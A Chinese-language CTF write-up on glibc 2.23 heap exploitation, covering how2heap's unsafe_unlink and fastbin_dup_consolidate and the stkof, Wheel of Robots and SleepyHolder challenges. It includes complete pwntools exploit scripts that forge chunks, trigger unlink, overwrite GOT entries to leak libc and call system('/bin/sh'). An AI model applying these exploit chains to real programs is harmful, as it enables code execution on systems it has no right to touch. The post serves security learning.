0%

how2heap - unsafe_unlink&stkof、Wheel of Robots

环境:ubuntu16.04 libc2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

//fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");
//fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");
//fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
//fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
//fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
//fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
//fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
//fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
//chunk0_ptr[1] = sizeof(size_t);
//fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
//fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");

fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

这段的原理在前面SleepyHolder其实已经用过了,所以就只简单的debug,帮助自己记忆一下

Debug:

1580548299890

更改 chunk 1 prev_inuse之前所伪造的fake chunk,fake chunk->fd被设置成&chunk0_ptr-0x18,fake chunk->bk被设置成&chunk0_ptr-0x10,然后prev_size设置成chunk 0 size-0x10(减去chunk head大小,就是我们malloc传入参数的大小0x80)

之后修改chunk 1的prev_inuse位为0,free chunk 1&trigger unlink(chunk0),通过unlink的检查、操作之后,所得到的结果是chunk0_ptr=0x602058(fake fd)

1580560743117

此时chunk0_ptr[3]刚好为chunk0_ptr,填入victim_string的地址,然后对其进行修改

具体步骤回顾前一篇写的unlink过程,不再做多解释

stkof

程序分析

程序一共有四个功能供选择,执行成功输出OK,执行失败输出FAIL

1580559836335

new:

1580559935789

malloc一个没有大小检查的chunk,放入s数组记录,并输出对应index,malloc时对应index只增不减

fill_chunk:

1580560078101

输入index后检查index大小、以及对应index是否有记录chunk,然后输入想要fill的大小,这里对大小没有检查,存在overflow

Free:

1580560247354

输入index,检查index大小、以及对应index是否 有记录,然后free 对应的chunk,并清除记录

todo:

1580560405002

似乎没什么用…(但是在后面的利用用到了)

Exploit:

1
2
3
4
5
6
7
new(0x80)#index 1
new(0x80)#index 2
new(0x80)#index 3
new(0x80)#index 4
new(0x80)#index 5 unlink chunk
new(0x80)#index 6 chunk to free
new(0x80)#index 7 Avoid merging

首先new出7个small chunk,此时记录如图所示

1580563261399

利用fill_chunk和chunk 5修改chunk 6 的prev_inuse位,顺带构造一个fake chunk

(这里为什么不从chunk1开始主要是因为在调试时发现chunk 1的前后分别有一个size为1040的chunk,具体原因参考ctf-wiki https://wiki.x10sec.org/pwn/heap/unlink/#2014-hitcon-stkof)

1
2
3
4
5
6
chunk5_address=0x602168
fake_chunk = p64(0)+p64(0x81)#fake chunk head
fake_chunk += p64(chunk5_address-0x18)+p64(chunk5_address-0x10)#fake fd/bk
fake_chunk += '\x00'*(0x80-len(fake_chunk))
fake_chunk += p64(0x80)+'\x90'#fake prev_size,prev_inuse
fill_chunk(5,len(fake_chunk),fake_chunk)

fill之后:

1580563976215

之后free chunk 6,第5个chunk用来unlink,这个操作设置其内容为&chunk2

执行free之后(这个截图是还没执行到s[6]=0处):

1580564233828

接着利用其修改index 2处的记录为&strlen_GOT,然后使用fill_chunk(2)修改strlen_GOT的值为&puts_plt

修改index 2处的记录为&puts_GOT

接着调用todo,输入2即可puts(&strlen_GOT),接着根据strlen在libc的偏移计算出libc base

1
2
3
4
5
6
7
8
strlen_GOT=0x602030
puts_GOT=0x602020
puts_plt=0x400760
fill_chunk(5,8,p64(strlen_GOT)) #index 2->strlen_GOT address
fill_chunk(2,8,p64(puts_plt))#set strlen_GOT -> puts_plt
fill_chunk(5,8,p64(puts_GOT))#index 2->puts_GOT address
todo(2)#puts(&puts_GOT)
libc_base=my_u64(p.recv(6))-0x6f690

同样利用上面的方式,fill chunk 3为/bin/sh,然后将strlen_GOT设置成system的地址,todo(3)即可getshell

1
2
3
4
5
system_offset=0x45390
fill_chunk(5,8,p64(strlen_GOT))#index 2->strlen_GOT address
fill_chunk(2,8,p64(libc_base+system_offset))#set strlen_GOT -> system
fill_chunk(3,len('/bin/sh'),'/bin/sh')
todo(3)

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './stkof' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here
def new(size):
sleep(0.1)
p.sendline('1')
p.sendline(str(size))

def fill_chunk(index,size,content):
sleep(0.1)
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)

def Free(index):
sleep(0.1)
p.sendline('3')
p.sendline(str(index))

def todo(index):
sleep(0.1)
p.sendline('4')
p.sendline(str(index))

new(0x80)#index 1 can't use
p.recvuntil('OK\n')

new(0x80)#index 2
p.recvuntil('OK\n')
new(0x80)#index 3
p.recvuntil('OK\n')
new(0x80)#index 4
p.recvuntil('OK\n')
new(0x80)#index 5 unlink chunk
p.recvuntil('OK\n')
new(0x80)#index 6 chunk to free
p.recvuntil('OK\n')
new(0x80)#index 7 Avoid merging
p.recvuntil('OK\n')

chunk5_address=0x602168
fake_chunk = p64(0)+p64(0x81)#fake chunk head
fake_chunk += p64(chunk5_address-0x18)+p64(chunk5_address-0x10)#fake fd/bk
fake_chunk += '\x00'*(0x80-len(fake_chunk))
fake_chunk += p64(0x80)+'\x90'#fake prev_size,prev_inuse
fill_chunk(5,len(fake_chunk),fake_chunk)
p.recvuntil('OK\n')

Free(6)
p.recvuntil('OK\n')
strlen_GOT=0x602030
puts_GOT=0x602020
puts_plt=0x400760
fill_chunk(5,8,p64(strlen_GOT))
p.recvuntil('OK\n')
fill_chunk(2,8,p64(puts_plt))
p.recvuntil('OK\n')
fill_chunk(5,8,p64(puts_GOT))
p.recvuntil('OK\n')
gdb.attach(p,'b *0x400C1C')

todo(2)
libc_base=my_u64(p.recv(6))-0x6f690
log.info("\033[1;36m" + 'libc_base:'+hex(libc_base) + "\033[0m")

system_offset=0x45390
fill_chunk(5,8,p64(strlen_GOT))
p.recvuntil('OK\n')
fill_chunk(2,8,p64(libc_base+system_offset))
p.recvuntil('OK\n')
fill_chunk(3,len('/bin/sh'),'/bin/sh')
p.recvuntil('OK\n')
todo(3)

p.interactive()

ps:ctf-wiki上面是直接修改 atoi@got 为 system 函数地址,再次调用时,输入 /bin/sh 地址,这里可以用作以后exploit的参考

Wheel of Robots

程序分析

主菜单一共有四个选择,在进行选择之前用/dev/random读取随机数来当做srand种子

1580573062290

add:

输入选择部分

1580573416563

提供一个机器人选择菜单,然后对全局变量choic输入5B,此处存在一个1 Byte overflow,可以覆盖到Bender

numofrobot不能大于2(初始为0)

Tinny_Tim(对应1):

1580573549034

Tinny Tim是一个0x14大小的fast chunk,用calloc分配。Tinny_Tim记录这个机器人是否存在,Tinny_Tim_ptr记录堆指针,calloc之后将chunk data部分填充为Tinny Tim字符串

Bender(对应2):

1580573753819

Bender是一个大小不固定的fast chunk ,其大小根据用户输入Bender_intelligence决定,最大为0x3c,calloc分配,Bender记录机器人是否存在,Bender_ptr记录堆指针,calloc之后对chunk data部分填充

Devil(对应3):

1580574045235

Devil是一个大小不固定的chunk,大小根据用户输入的Devil_cruelty决定,最大为0x7bc,calloc分配,Devil记录机器人是否存在,Devil_ptr记录堆指针,calloc之后对chunk data填充

Chain_smoker(对应4):

1580574275281

Chain_smoker是一个大小固定的chunk(0xFA0),calloc分配,Chain_smoker记录机器人是否存在,Chain_smoker_ptr记录堆指针,calloc之后对chunk data填充

Billionaire_Bot(对应5):

1580574445414

Billionaire_Bot是一个固定大小的chunk(0x9C40),calloc分配,Billionaire_Bot记录是否存在,Billionaire_Bot_ptr记录堆指针,calloc之后对chunk data填充

Destructor(对应6):

1580574577079

Destructor是一个大小不固定的chunk,大小根据用户输入的Destructor_powerful决定,calloc分配,Destructor记录机器人是否存在,Destructor_ptr记录堆指针,calloc之后对chunk data填充

total:

这里再记一下64位不同chunk的size范围(fast chunk:0x20~0x80,small chunk:<0x400,large chunk >=0x400)

  1. Tinny Tim:大小固定fast chunk 0x14
  2. Bender:大小不固定fast chunk 0x14~0x3c
  3. Robot Devil:大小不固定chunk,可以是fast chunk,small chunk,large chunk,max:0x7bc
  4. Chain Smoker:large chunk 0xFA0
  5. Billionaire Bot:large chunk 0x9C40
  6. Destructor:可以是fast chunk,small chunk,large chunk

delete:

输入部分没有add的 overflow(有了add的分析基础接下来的分析简单一点)

1580575014595

全都是相同的操作,判断各记录,将对应ptr free掉之后把记录清零,然后numofrobot–

change:

change 的输入也是正常的

1580575136615

同样都是一个操作,检查记录,将对应chunk的data段renew,输入大小为申请时的大小

startwheel:

当有2个robot时,产生0~6的随机数,随机选择输出一个chunk的内容

1580639554736

Exploit:

这个方法是我自己写,没有看ctf-wiki的WP时候摸索出来的方法,并没有用到startwheel函数

原ctf-wiki链接:https://wiki.x10sec.org/pwn/heap/unlink/#2017-insomnihack-wheelofrobots

add一个Bender(fast chunk),add一个Robot Devil(small chunk,这个用来Avoid merging&trigger unlink),然后delete掉Bender,接着malloc一个Chain Smoker(large chunk),trigger malloc_consolidate,将fast chunk放入smallbins,然后通过1 Byte overflow更改Bender为1,再次delete,构成double free。(wiki上面是利用fastbin attack修改记录的chunk大小,change时构成overflow)

1
2
3
4
5
6
7
8
#注释末尾的数字表示numofrobot
add(2,intelligence=2)#Add Bender 1
add(3,cruelty=0x20)#Add Robot Devil small chunk 2
delete(2)#Add Bender to fastbins 1
add(4)#Add large chunk(Chain_smoker) trigger malloc_consolidate 2
overflow_Bender_to(1)
delete(2)#Delete Bender again 1
#double free now

double free和malloc_consolidate的联合利用在之前SleepyHolder中已经写过了所以这里写简单一些

再add一个Bender,change时构造一个fake chunk,然后delete Robot Devil,trigger unlink,结束后Bender_ptr会指向&Bender_ptr-0x18处,如图:

1580640134364

1
2
3
4
5
6
7
8
9
10
11
Bender_ptr=0x6030F0
add(2,intelligence=2)#Add Bender 2
fake_chunk = p64(0)+p64(0x21)#fake chunk head
fake_chunk += p64(Bender_ptr-0x18)+p64(Bender_ptr-0x10)#fake fd/bk
fake_chunk += '\x00'*(0x20-len(fake_chunk))
fake_chunk += p64(0x20)#fake prev_size
change(2,fake_chunk)

delete(2)#set Bender to fastbin 1
add(6,powerful=0x20)#Add Destructor small chunk 2
delete(3)#trigger unlink 1

这里再trigger之前为什么要delete Bender还有add Destructor主要是为了后面的利用,这一块是我在写后面利用的时候回来补的(主要是delete3之后再来delete的时候会报错),可以先不用管,这里delete Bender到fastbins里面之后也并没有影响fake_chunk,其prev_size字段本来就是0

因为我们之前add了Chain_smoker,所以可以用这个Chain_smoker_ptr来修改GOT表,具体为先修改Chain_smoker_ptr为&free_GOT,然后change为&puts_plt,再将Chain_smoker_ptr设置成puts_GOT,从而delete Chain_smoker时可以调用puts(&puts_GOT),计算出libc偏移

1
2
3
4
5
6
7
8
9
10
overflow_Bender_to(1)
free_GOT=0x603018
puts_plt=0x400830
puts_GOT=0x603028
change(2,p64(0)+p64(free_GOT))#change Chain_smoker_ptr to &free_GOT by Bender
change(4,p64(puts_plt))#*free_GOT to &puts_plt by Chain_smoker_ptr
change(2,p64(0)+p64(puts_GOT))#change Chain_smoker_ptr to &puts_GOT


delete(4)#puts(&puts_GOT) 0

这个时候我发现,delete Chain_smoker之后,由于Chain_smoker记录会变成0,也就是说通过这个指针来实现Arbitrary write不行了(Bender可以重复利用是因为存在一个溢出),但是这里还有一个Destructor_ptr,所以就有了前面delete Bender然后add Destructor的操作,利用Chain_smoker_ptr实现地址泄露之后,再用Destructor_ptr来实现getshell

1
2
3
4
5
6
7
libc_base=my_u64(p.recv(6))-0x6f690
system_address=libc_base+0x45390

change(2,p64(0)+p64(0)+p64(free_GOT))#change Destructor_ptr to &free_GOT by Bender
change(6,p64(system_address))#*free_GOT to system_address by Destructor_ptr
change(2,'/bin/sh\x00')# *Bender_ptr = '/bin/sh\x00'
delete(2)#system(Bender_ptr)->system("/bin/sh")

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'wheelofrobots' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1 , stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here
def overflow_Bender_to(num):
p.recvuntil('Your choice : ')
p.send('1')

p.recvuntil('Your choice :')
p.send('9999'+str(num))

def add(choice,intelligence=0,cruelty=0,powerful=0):
p.recvuntil('Your choice : ')
p.send('1')

p.recvuntil('Your choice :')
p.send(str(choice))

if choice == 2:
p.recvuntil('intelligence: ')
p.send(str(intelligence))
elif choice == 3:
p.recvuntil('cruelty: ')
p.send(str(cruelty))
elif choice == 6:
p.recvuntil('powerful: ')
p.send(str(powerful))

def delete(choice):
p.recvuntil('Your choice : ')
p.send('2')

p.recvuntil('Your choice :')
p.send(str(choice))

def change(choice,content):
p.recvuntil('Your choice : ')
p.send('3')

p.recvuntil('Your choice :')
p.send(str(choice))

p.recvuntil("Robot's name: ")
p.send(content)

add(2,intelligence=2)#Add Bender 1
add(3,cruelty=0x20)#Add Robot Devil small chunk 2
delete(2)#Add Bender to fastbins 1
add(4)#Add large chunk(Chain_smoker) trigger malloc_consolidate 2
overflow_Bender_to(1)
delete(2)#Delete Bender again 1

log.info("\033[1;36m" + 'Double freed now' + "\033[0m")

Bender_ptr=0x6030F0
add(2,intelligence=2)#Add Bender 2
fake_chunk = p64(0)+p64(0x21)#fake chunk head
fake_chunk += p64(Bender_ptr-0x18)+p64(Bender_ptr-0x10)#fake fd/bk
fake_chunk += '\x00'*(0x20-len(fake_chunk))
fake_chunk += p64(0x20)#fake prev_size
change(2,fake_chunk)

#gdb.attach(p,'b *0x4012C0')
delete(2)#Delete Bender_ptr 1
add(6,powerful=0x20)#Add Destructor small chunk 2

delete(3)# 1

overflow_Bender_to(1)
free_GOT=0x603018
puts_plt=0x400830
puts_GOT=0x603028
change(2,p64(0)+p64(free_GOT))#change Chain_smoker_ptr to &free_GOT by Bender
change(4,p64(puts_plt))#*free_GOT->puts_plt by Chain_smoker
change(2,p64(0)+p64(puts_GOT))#change Chain_smoker_ptr to &puts_GOT


delete(4)#puts(&puts_GOT) 0

libc_base=my_u64(p.recv(6))-0x6f690

log.info("\033[1;36m" + 'libc_base'+hex(libc_base) + "\033[0m")
system_address=libc_base+0x45390
change(2,p64(0)+p64(0)+p64(free_GOT))#change Destructor_ptr to &free_GOT by Bender
change(6,p64(system_address))#*free_GOT to system_address by Destructor_ptr
change(2,'/bin/sh\x00')# *Bender_ptr = '/bin/sh\x00'
delete(2)#system(Bender_ptr)->system("/bin/sh")

p.interactive()

how2heap - fastbin_dup_consolidate&SleepyHolder

fastbin_dup_consolidate

写这个题之前先学习了很多前置知识,简略的写一下

how2heap上的 fastbin_dup_consolidate.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);//Here
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

看这段源码时有一段话:Allocated large bin to trigger malloc_consolidate(),暂时不懂这个是什么所以查阅了很多资料

malloc_consolidate:

​ 对于malloc_consolidate函数,malloc_consolidate()free() 的一个小的变体,专门用于处理 fastbin 中的空闲 chunk。同时还负责堆管理的初始化工作

未初始化:

​ 进入 malloc_consolidate() ,首先通过 get_max_fast() 判断当前堆是否已经初始化。当进程第一次调用 malloc() 申请分配的时候,get_max_fast() 返回值等于 0,此时会进行堆的初始化工作

​ 在 malloc_init_state() 里会进行堆的初始化工作,并且会调用set_max_fast() 设置 global_max_fast 为 DEFAULT_MXFAST ,DEFAULT_MXFAST 在 32 位系统上为 64,在 64 位系统上为 128。因而在以后进入 malloc_consolidate() 的时候 get_max_fast() 返回值都不会等于 0,保证不会重复进行堆的初始化工作

已初始化:

​ 如果 get_max_fast() 返回值不等于 0,说明堆已经初始化,接下来就将 fastbin 中的每一个 chunk 合并整理到 unsorted_bin 或 top_chunk。

​ 其中对每一个 chunk,首先尝试向后合并,然后调用 unlink() 宏将后方 chunk 从其链接的 bin 中脱链(然后看到这里又去查阅了很多向前合并和向后合并的知识,具体见下文

  1. get_max_fast() 返回 0,则进行堆的初始化工作,然后进入第 7 步
  2. 从 fastbin 中获取一个空闲 chunk
  3. 尝试向后合并
  4. 尝试向前合并,若向前相邻 top_chunk,则直接合并到 top_chunk,然后进入第 6 步
  5. 否则向前合并后,插入到 unsorted_bin 中
  6. 获取下一个空闲 chunk,回到第 2 步,直到所有 fastbin 清空后进入第 7 步
  7. 退出函数

原文链接:https://blog.csdn.net/plus_re/article/details/79265805

向后合并:

  • 检查p指向chunk的size字段的pre_inuse位,是否为0(也就是检查当前chunk的前一块chunk是否是free的,如果是则进入向前合并的流程)
  • 获取前一块chunk的size,并加到size中(以此来表示size大小上已经合并)
  • 根据当前chunk的presize来获得指向前一块chunk的指针
  • 将这个指针传入unlink的宏(也就是让free掉的chunk的前一块chunk进入到unlink流程)

向前合并:

如果free掉的chunk相邻的下一块chunk (下面用nextchunk表示,并且nextsize表示它的大小) 不是topchunk,并且是free的话就进入向前合并的流程。

如果nextchunk不是free的,则修改他的size字段的pre_inuse位。
如果nextchunk是topchunk则和topchunk进行合并。

ps:检测nextchunk是否free,是通过 inuse_bit_at_offset(nextchunk, nextsize)获得nextchunk的相邻下一块chunk的size字段的presize位实现的

向前合并流程:

  • 让nextchunk进入unlink流程
  • 给size加上nextsize(同理也是表示大小上两个chunk已经合并了)

原文链接:https://bbs.ichunqiu.com/thread-46614-1-1.html?from=bkyl

接着又学到了unlink()的一些东西

unlink:

把源码一拖稍微缕了缕,大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unlink(AV, P, BK, FD)//P是指向本chunk的指针
{
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
//检查本chunk的size和next chunk的prev_size段是否相等,排除了fast chunk

FD = P->fd;//P+0x10
BK = P->bk;//P+0x18 FD和BK分别指向forward chunk和back chunk

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
//检查前chunk的bk和后chunk的fd是否与P相等
else
{
FD->bk = BK;
BK->fd = FD;//链表的卸下操作

if (!in_smallbin_range (chunksize_nomask (P))&&
__builtin_expect (P->fd_nextsize != NULL, 0))//当链表为large bin且fd_nextsize不为空
{
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
//检查前chunk的bk_nextsize和后chunk的fd_nextsize是否与P相等

if (FD->fd_nextsize == NULL)
{
if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;}
}
}
}

这其中对于large chunk中fd_nextsize还有bk_nextsize的一些利用解释起来有点多

给个链接自己以后方便查阅吧:https://blog.csdn.net/Plus_RE/article/details/79270350

Debug

接下来自己debug一下fastbin_dup_consolidate.c

free掉p1之后:

然后malloc一个large chunk触发malloc_consolidate(),我这里和how2heap上不同的是这个fast chunk被放入了smallbins而不是unsortedbin,不过好像对于double free的利用暂无大碍(此处待深入)

再次调用free(p1)

此时在fastbins还有smallbins中都存在这个chunk,从而在malloc(0x40)两次时double free的利用被触发,先取fastbin、再取smallbin

SleepyHolder

程序分析

一上来先malloc了一个size随机的chunk,然后进入正常的菜单

Keep

选择一个固定大小的small、big、huge大小的secret,然后calloc,对应的每个secret只能calloc一次,然后把ptr存在bss段上,通过记录来实现无法多次calloc

Wipe

选择small、big secret来free(没有huge),并清除记录,没有清除ptr,也没有检查是using or not

Renew

选择small、big secret,检查标记后通过read renew

Exploit

首先keep一个small secret,然后keep一个big secret(防止wipe时small secret被merge到top_chunk中去),wipe small secret使其链入fastbin之后keep一个huge secret(trigger malloc_consolidate),这时small secret进入smallbins(并且big secret的prev_inuse位被更改,使得后续进行unlink利用),第二次wipe small secret,构成double free(主要是为了keep一次small secret之后big secret的prev_inuse不被更改,而又能对small secret进行操作),代码&heap图如下所示

1
2
3
4
5
keep(1,'aaaaaaaa')#keep small secret
keep(2,'bbbbbbbb')#keep big secret
wipe(1)#wipe small
keep(3,'cccccccc')#keep huge
wipe(1)#wipe small Double freed now

接着keep small secret,填入一个fake chunk,接下来会wipe big secret,此时prev_inuse依然为0(因为fastbin里面的操作不会修改这个位),会向后合并这个fake chunk并trigger unlink,为了绕过unlink的检测机制,我们现在在bss段上刚好有一个指向这个fake chunk的指针——small_ptr(即这个chunk data部分的指针),所以根据fd和bk指针的偏移,fake chunk填入的内容应该是p64(0)+p64(0x21)+p64(&small_ptr-0x18)+p64(&small_ptr-0x10)+p64(0x20)

1
2
3
4
5
f_ptr = 0x6020d0#small_ptr
fake_chunk = p64(0) + p64(0x21)#fake chunk [prev_size,size]
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)#[fd,bk]
fake_chunk += '\x20'#fake [prev_size]
keep(1, fake_chunk,huge=False)

接着wipe big secret,trigger unlink,因为对unlink暂时不是很熟,所以记录一下细节。如下:

1
wipe(2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unlink(AV, P, BK, FD)//P是指向本chunk的指针,此时指向fake chunk,即small secret的data处
{
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
//检查本chunk的size(0x20)和next chunk的prev_size(fake padding:0x20)是否相等

FD = P->fd;//P+0x10 FD=0x6020b8(&small_ptr-0x18)
BK = P->bk;//P+0x18 BK=0x6020c0(&small_ptr-0x10)

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
//FD->bk=0x6020b8+0x18=0x6020d0(&small_ptr)
//BK->fd=0x6020c0+0x10=0x6020d0(&small_ptr) check pass
malloc_printerr ("corrupted double-linked list");
else
{
FD->bk = BK;//0x6020d0(small_ptr)=0x6020c0(big_ptr)
BK->fd = FD;//0x6020d0(small_ptr)=0x6020b8(...)

执行结束之后small_ptr指向0x6020b8,此时利用renew便可开始进行写

1
2
3
4
f = p64(0)#padding
f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)#big_ptr,huge_ptr,small_ptr
f += p32(1)#Make big secret be using
renew(1, f)

填充之后:

接着利用renew将free_GOT改成puts_plt,然后调用wipe(big)时,即可输出atoi在GOT表的地址,计算出libc base之后(直接修改free_GOT为one_gadget我没成功,条件均不满足)使用system("/bin/sh") getshell,具体步骤如下:

1
2
3
4
5
6
7
8
renew(1, p64(puts_plt))#make free_GOT->puts_plt
wipe(2)#do puts(atoi_GOT)

libc_base=my_u64(p.recv(6))-0x36e80#atoi base

renew(1,p64(libc_base+0x45390))#make free_GOT->system
keep(2,'/bin/sh',huge=False)#big_ptr->"/bin/sh"
wipe(2)#do system(big_ptr)->system("/bin/sh")

最终getshell

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
